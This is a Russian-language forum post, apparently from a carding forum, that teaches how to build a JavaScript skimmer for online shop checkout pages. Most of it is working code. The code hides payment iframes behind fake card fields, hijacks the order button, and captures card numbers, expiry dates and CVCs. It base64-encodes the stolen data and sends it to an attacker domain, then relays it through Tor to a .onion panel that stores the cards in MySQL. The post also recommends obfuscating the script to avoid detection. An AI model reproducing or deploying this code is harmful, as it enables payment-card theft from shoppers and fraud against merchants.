JS сниффер

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
6,888
Реакции
25
Приветствую.
Изначально статья должна была быть на много подробнее и больше, с картинками и реальными примерами, также я думал разбить ее на несколько частей, но релиз вышел иным, приятного чтения.
Данная статья несет исключительно ознакомительный характер, и никого не призывает использовать ее с целью кражи данных, а лишь показывает каким образом злоумышленник может похитить банковскую информацию клиентов онлайн магазина.

В этой статье я постараюсь максимально кратко НО информативно обьяснить как устроены js сниферы, и как их писать.
Мы рассмотрим с вами написание сниферов, которые собирают инфу с шопов, чекаут формы которых выглядят следующим образом:
1. Формы находящиеся непосредственно на странице
2. Формы поля которых находятся внутри iframe
3. Формы [обычные\фреймы] меняющие код в зависимости от выбранных значений(например изменение страны доставки изменяет форму целиком, перезагружая ее - тем самым заставляет нас не вешать событие сабмита сразу, а ловить его на финальной стадии)
4. Редирект, подробно рассказать за него не выйдет, так как все сводится к подмене ссылки с оригинальной на фейк и при возвращении - вывод ошибки о неверно введенных данных(легко поверить, все же ошибаются), с последующей передаресацией жертвы на оригинальный чекаут.

Мы рассмотрим следующие моменты:
1. Подмена полей
2. Сниф данных с полей
3. Отправка украденной информации к нам на сервер-посредник
4. Пересылка информации с сервера посредника на админку, находящуюся в торе
5. Принятие запроса и сохранение данных в MySql таблицу

Перед написанием снифера, мы считаем что следующие условия соблюдены:
1. Доступ к шопу с правами на запись
2. VPS с доменом sniffer-domain.com и ssl сертификатом(подойдет бесплатный lets encrypt) + поднятый apache и установлены модули php + библиотека curl + tor service
3. VPS c TOR доменом заканчивающимся на .onion + поднятый apache и установленные модули php и mysql


1 ЧАСТЬ:

Общие моменты:

1. Снифер должен работать только после полной загрузки окна, чтобы событие клика на кнопку чекаута не было undefined вешается событие:

Код:
window.addEventListener('load',(event)=>{
	//code
}

2. В зависимости от того куда будет добавлен скрипт снифера, необходимо делать проверку того, что мы находимся именно на странице чекаута.
Легче всего это сделать проверив адресную строку:

Код:
if(window.location.toString().search(/checkouts/)!=-1){
	//code
}

3. Код можно обфусцировать, в сети вы найдете много онлайн js обфускаторов, это защитит ваш код от случайного обнаружения
Links - НЕ реклама, в сети их много:
https://www.javascriptobfuscator.com/Javascript-Obfuscator.aspx
https://www.obfuscator.io/

Основная часть

Перед нами обычная форма которая находится на сайте, мы имеем следующие поля:

Код:
<span class="input-wrapper">
	<input type="text" class="input-text" name="name" id="name" placeholder="" value="">
</span>
<span class="input-wrapper">
	<input type="tel" class="input-text" name="cc_number" id="credit_card_number" placeholder="XXXX XXXX XXXX XXXX" value="" maxlength="20">
</span>
<span class="input-wrapper">
	<input type="tel" class="input-text" name="cc_expiry" id="credit_card_expiry" placeholder="MM / YY" value="" maxlength="7">
</span>
<span class="input-wrapper">
	<input type="tel" class="credir_card_cvc" name="" id="credit_card_cvc" placeholder="CVC" value="" maxlength="4">
</span>

В соответствии с объектной моделью документа («Document Object Model», коротко DOM), каждый HTML-тег является объектом.
Значения которые вводит юзер - хранятся в атрибуте value.
Чтобы получить значение из value нам необходимо обратится к обьекту тега input, и взять значение атрибута value:

Код:
//Обьявляем переменную
let name = "";
//Записываем в нее значение value
name = document.getElementById(id).value;
//Таким же образом получаем остальные значения...

В определенных ситуациях некоторые поля могут иметь пустое value, либо обьекта вообще нет, для этого нужно добавить проверку дабы избежать ошибок во время выполнения:

Код:
let name = "";
name = document.getElementById(id) ? document.getElementById(id).value : "";
//Оператор ? укорачивает ваш код, строка выше делает то же самое что и
if(document.getElementById(id)){
	name = document.getElementById(id).value;
}else{
	name = "";
}

Рассмотрим следующий пример, у нас форма в которой поля находятся не на странице, а подтягиваются с помощью iframe:

Код:
<span class="input-wrapper" id="span_id">
	<iframe name="example_provider" id="iframe_id" title="PaymentForm" src="https://example/cards/payment-form?url=https://shop.com/" width="100%">
		#html тег внутри фрейма
		<html>
		//Тут будет код целой страницы, который мы пропустим, для понимания принципа работы это не важно
		<body>
				<input type="tel" id="credit_card_number" placeholder="XXXX XXXX XXXX XXXX" value="" autocomplete="cc-number" maxlength="20">
		</body>
		</html>
	</iframe>
</span>

Если вы попробуете обратиться к такому input по его id, то вы ничего не получите так как содержимое iframe недоступно нашему js скрипту.
Давайте проанализируем фрейм, как видите наш фрейм имеет id с названием iframe_id значит мы можем обратиться к нему как к DOM обьекту.
Наш iframe содержится внутри блока span, а span в свою очередь является его контейнером.
Теперь у вас должен возникнуть вопрос, "каким образом мы получим значение value если оно нам недоступно?" .
Действовать мы будем следующим образом:
1. Получим ссылку на обьект нашего iframe и span
2. Скроем iframe
3. Вставим в span наше фейк поле
4. Получим значение из поля
5. Выведем ошибку
6. Заполним куку о том что данные мы уже стащили
7. Перезагрузим страницу
8. Скрипт проверит наличие куки, и если она не равна 404, то покажет оригинальную форму с iframe

Код:
//Данный код должен быть расположен сразу после условия, которое проверяет загрузку документа и адрес, в случае если мы действительно находимся на странице чекаута, данный код отработает

//Проверяем наличие куки
//Функция получения куки из браузера, не мой
function get_cookie(cookie_name){
	let check_cookie=document.cookie.match(new RegExp("(?:^|; )"+cookie_name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,'\\$1')+"=([^;]*)"));return check_cookie?decodeURIComponent(check_cookie[1]):"404";
}
//Получаем значение куки, если оно не найдено, то мы прячем iframe и показываем фейк
if(get_cookie("already_sniffed")=="404"){
	//Код подмены, который мы написали выше
	//Получаем ссылки на обьекты
	let span_block = document.getElementById('span_id');
	let iframe_block = document.getElementById('iframe_id');

	//Скрываем ифрейм
	iframe_block.setAttribute("style","display:none;");

	//Добавляем наше фейковое поле, предварительно вы должны сами его написать, тут я не покажу вам пример так как каждая форма уникальна, и для этого достаточно базового знания html+css, лично я поступил бы следующим образом: открыл в 2 вкладках страницу чекаута, на одной был бы оригинальный инпут, а на другой я бы скрыл ифрейм, и в блок ифрейма - в нашем случае это span, я бы добавил тег <input> и писал бы его стили делая его максимально похожим, стили указал бы внутри тега - ДА это говнокод, но так мы получаем тег в виде одной строки, и можем потом вставить его рядом с фреймом:
	span_block.insertAdjacentHTML("afterend","<input id='fake_input' style='наши стили для фейк инпута'>");
}

После отработки данного скрипта, на странице проявится наша поддельная форма, а оригинальная будет скрыта. Как вы видите, мы добавили id нашему input для того, чтобы обращаться к его value атрибуту.

Теперь, после отправки формы(этот процесс мы рассмотрим чуть позже), мы должны добавить куку,которую мы проверили выше, нужно это для того, чтобы при загрузке страницы наш скрипт понимал соснифили ли мы инфу у текущего юзера или нет.
Создаем куку, и даем ей значение 1, если куки нет, то она не равна 1, а значит данные мы еще не снифали.

Код:
//Этот код мы добавим после отправки формы
document.cookie="already_sniffed=1";

Таким образом происходит подмена других полей, для примера я показал одно
И так, когда мы написали функцию подмены полей, то мы действуем точно так же, как и в первом пункте, при [отправке формы\нажатию на кнопку "Place order"] мы по id с помощью функции getElementById получаем value полей и записываем их в переменные.

На данном этапе мы [в случае с наличием ифрейма - подменили поле], находимся на странице чекаута, далее мы введем данные в поля и подтвердим оплату.
Нажатие на кнопку оплаты, или же отправка формы(которая инициируется этим самым нажатием на кнопку оплаты, либо нажатием клавиши enter находясь на последнем инпуте) - это и есть наши 2 тригера на выбор.
У нас есть кнопка, код которой выглядит следующим образом:

Код:
<input type="submit" name="checkout_place_order" id="place_order" value="Place order">

Мы должны проделать следующие пункты, чтобы повесить ивент на кнопку:

Код:
//Получаем DOM обьект кнопки по id
let submit_button = "";
submit_button = document.getElementById('place_order');

//Добавляем обработчик события клик на эту кнопку
submit_button.addEventListener('click',function(event){
	//На данном этапе форма должна будет отправится, и чтобы это предотвратить вызываем функцию на обьекте события
	event.preventDefault();
	//По факту мы отменили клик, и теперь форма не отправится, а это нужно для того, чтобы наш скрипт успел собрать данные, сформировать запрос, и отправить его на наш сервер

	//Собираем данные
	let name_value = "";
	name_value = document.getElementById("name_id").value;
	let lastname_value = "";
	lastname_value = document.getElementById("lastname_id").value;
	let cc_number_value = "";
	cc_number_value = document.getElementById("cc_number_id").value;
	//И тд...

	//Дальше он сформирует из него ассоциативный массив в представлении ключ:значение
	let cc_info_object ={
		name_key:name_value,
		lastname_key:lastname_value,
		cc_number_key:cc_number_value
	};

	//Массив = обьект, и из этого обьекта мы сформируем json строку
	let json_string = JSON.stringify(new_obj123);

	//Закодируем строку в base64, чтобы при анализе передаваемых данных сложнее было обнаружить что именно отправляется
	let base64_json_string = btoa(json_string);

	//Отправим данные на наш сервер-приемник, также я настоятельно НЕ рекомендую использовать библиотеку jquery с ее ajax функцией так как для этого необходимо подтягивать кучу лишнего, то лучше использовать нативные возможности javascript'а в виде XMLHttpRequest

	//Инициализируем обьект XMLHttpRequest
	let XMLHttpObj = new XMLHttpRequest();
		//Открываем соединение, для отправки post запроса 
		XMLHttpObj.open("POST", "https://sniffer-domain.com/index.php");
		//Указываем заголовки
		XMLHttpObj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
		//Отправляем запрос
		XMLHttpObj.send("sniffed_data="+base64_json_string);
		//Вешаем обработчик события "изменение статуса запроса"
		XMLHttpObj.onreadystatechange = function(){
			//Когда статус запроса изменится, мы проверим его
			if(XMLHttpObj.readyState==XMLHttpRequest.DONE&&XMLHttpObj.status==200){
				//В случае успешной отправки запроса, мы вешаем куку(ее [наличие\значение] мы будем проверять в начале скрипта) которая будет говорить о том, что у текущего юзера данные мы УЖЕ украли, и повторно их отправлять не нужно, выше вы уже видели этот код
				document.cookie="already_sniffed=1";

				//Теперь когда наш процесс снифинга кончился, мы должны отправить форму, дабы не нарушить логику сайта, и тут так же будет несколько вариантов:
				//Вариант А: у нас обычная форма без ифреймов, данные отправятся, ордер добавится в базу, а жертва увидит сообщение об успешной оплате
				//Вариант Б: у нас форма с фреймом, и так как оригинальные значения пустые(ведь мы их спрятали), страница перезагрузится, и выдаст ошибку о том, что значения не верны
				//Для этого мы должны получить DOM обьект тега <form> и вызвать у нее submit
				//Условно: открывающий тег формы выглядит следующим образом: <form id="checkout_form_id" name="checkout" method="post" class="checkout" action="https://www.original-site.com/checkout/" enctype="multipart/form-data" novalidate="novalidate">

				//Получаем DOM обьект формы
				let checkout_form = "";
				checkout_form = document.getElementById('checkout_form_id');

				//Вручную отправляем ее
				checkout_form.submit();

				//Вариант В:у нас форма с фреймом, и так как оригинальные значения пустые(ведь мы их спрятали), страница НЕ перезагрузится, а просто подчеркнет инпуты, с сообщением о том, что поля не могут быть пусты, тут нам нужно пойти другим путем и вместо отправки формы перезагрузить страницу
				location = location;
			}else{
				//В случае какой то ошибки мы все равно [отправляем форму\перезагружаем страницу], иначе пользователь будет в логической ловушке нашего скрипта
				let checkout_form = "";
				checkout_form = document.getElementById('checkout_form_id');
				checkout_form.submit();
				// или
				location = location;
				//Тут на выбор: можно так же добавить куку, и больше не пытаться [подменить поля]+украсть данные, а можно НЕ добавлять куку и начать процесс заново
			}
		}
});

Опишу последний важный момент части с js.
Иногда попадаются такие формы, которые перезагружаются целиком при выборе определенного значения в одном из полей, например смена страны в шипинг инфо, в такой ситуации если мы при загрузке окна повесим на [кнопку\форму] событие, то это событие не отработает, так как с точки зрения логики веб-приложения она перестанет существовать.
Решение которое я нашел заключается в вешании события клик на всю страницу и обращении к таргету.

Код:
//Вешаем событие click на документ
document.addEventListener('click',event => {

	//Получаем обьект и его value (если оно есть)
	let button_value = event.target ? event.target.value : false;

	//Проверяем что результат не false
	if(button_value){
		//Сравниваем значение с текстом из кнопки - это самый просто вариант, он обычно уникален
		if(button_value=="Place order"){
			//код предотвращения отправки -> сбор данных -> отправка данных -> завершение работы скрипта -> ручная отправка формы\перезагрузка страницы
		}
	}
});

Написанный код мы размещаем внутри тегов <script></script>, а сам тег вставляем перед закрывающим тегом body.

На этом этапе написание JS части нашего снифера закончена.


2 ЧАСТЬ:



Приступим к написанию php скрипта, который будет крутится на сервере посреднике.

Создаем index.php с содержимым:

Код:
<?php
	//Добавляем заголовки, они необходимы для того чтобы работала технология кросс-доменных запросов
	header('Access-Control-Allow-Origin: *');
	header('Access-Control-Allow-Methods: *');
	header('Access-Control-Allow-Headers: *');

	//Проверяем наличие post запроса, с нужным ключем
	if(isset($_POST['sniffed_data'])){

		//Задаем урл, данные будем отправлять методом get
		$url = 'http://ouradminpanel65rdfty78i.onion/index.php?sniffed_data='.$_POST['sniffed_data'];
		//Напомню что содержимое $_POST['sniffed_data'] - закодировано в base64

		//На нашем сервере крутится сервис tor для отправки запросов в тор сеть, следующей строкой указываем прокси адрес тора в виде ip:port
		$tor_socks = "127.0.0.1:9050";

		//Создаем обьект curl
		$ch = curl_init();

		//Задаем параметры для нашего curl запроса
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_PROXY, $tor_socks);
    	curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5_HOSTNAME);
    	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

		//Одновременно выполянем запрос, и получаем ответ
		$resp = curl_exec($ch);

		//Закрываем соединение
		curl_close($ch);
	}

Нужен этот самый сервер посредник для того, чтобы в случае обнаружения снифера и последующего абуза на него мы не потеряли данные.



3 ЧАСТЬ:


Завершающая стадия, тут мы получаем запрос от нашего сервера посредника, и сохраняем значения в базу.

Создаем файл index.php со следующим содержимым:

Код:
<?php
//Добавляем заголовки
	header('Access-Control-Allow-Origin: *');
	header('Access-Control-Allow-Methods: *');
	header('Access-Control-Allow-Headers: *');

//При обращении к скрипту проверяем наличие GET запроса
if(isset($_GET['sniffed_data'])){
	//Получаем содержимое GET параметра, декодируем строку из base64, преобразуем json строку в ассоциативный обьект
	$json_decoded_object = json_decode(base64_decode($_GET['sniffed_data']), true);

	//Коннектимся к базе данных
	$dsn = 'mysql:dbname=cards;host=127.0.0.1;charset=utf8';
	$user = 'root';
	$password = 'root_password';

	//Создаем обьект PDO и коннектимся к базе, в случае неудачи выводим ошибку
	try{
		$pdo = new PDO($dsn, $user, $password);
		echo "Connection success";
	}catch (PDOException $e){
		echo 'Connection failed: ' . $e->getMessage();
	}

	//Подготавливаем запрос для защиты от иньекций
	$statement = $pdo->prepare("INSERT INTO сс VALUES(NULL, :cardnumber, :cardexperation, :cardcvc, :name, :lastname)");

	//Исполняем запрос	
	$statement->execute(array(
		    "cardnumber" => $json_decoded_object['cc_number_key'],
		    "cardexperation" => $json_decoded_object['cc_exp_key'],
		    "cardcvc" => $json_decoded_object['cc_cvc_key'],
		    "name" => $json_decoded_object['name_key'],
		    "lastname" => $json_decoded_object['lastname_key']
	));
}

На этом этапе написание снифера закончено, это была моя первая статья и надеюсь вам она была полезна, или как минимум интересна. Задавайте любые вопросы в личку или в теме, буду рад ответить - возможно этим вопросом задались не только вы.

Автор - C4T
 

Members, viewing this thread

Сейчас на форуме нет ни одного пользователя.